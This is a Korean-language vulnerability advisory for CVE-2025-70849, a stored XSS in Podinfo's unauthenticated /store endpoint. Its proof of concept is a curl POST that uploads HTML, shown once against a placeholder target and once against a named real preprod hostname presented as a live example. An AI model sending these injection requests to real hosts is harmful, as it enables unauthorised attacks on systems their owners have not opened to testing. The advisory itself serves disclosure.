CVE-2025-70849: Podinfo의 저장형 XSS

요약

Kubernetes 마이크로서비스 데모용 웹 애플리케이션인 Podinfo에서 보안 취약점(CWE-79)이 발견되었습니다. /store 기능은 인증되지 않은 사용자가 임의의 HTML/JS 콘텐츠를 업로드할 수 있게 하여 저장형 XSS(Stored XSS)를 유발합니다.

취약점 세부 정보

• CVE ID: CVE-2025-70849
• 제품: Podinfo
• 영향받는 엔드포인트: /store
• 취약점 유형: 저장형 크로스 사이트 스크립팅 (XSS)
• 영향받는 버전: <= 6.10.0

개념 증명 (PoC)

1. 악성 페이로드를 전송합니다:
   root@kitploit:~

   curl -X POST https://target/store -H "Content-Type: text/html" -d '<h1>CVE-2025-70849</h1>'
   

   실시간 대상 예시:
   root@kitploit:~

   curl -X POST https://podinfo.xcr.preprod55.prepd.eastus.kaas.sws.siemens.com/store -H "Content-Type: text/html" -d '<h1>CVE-2025-70849</h1>'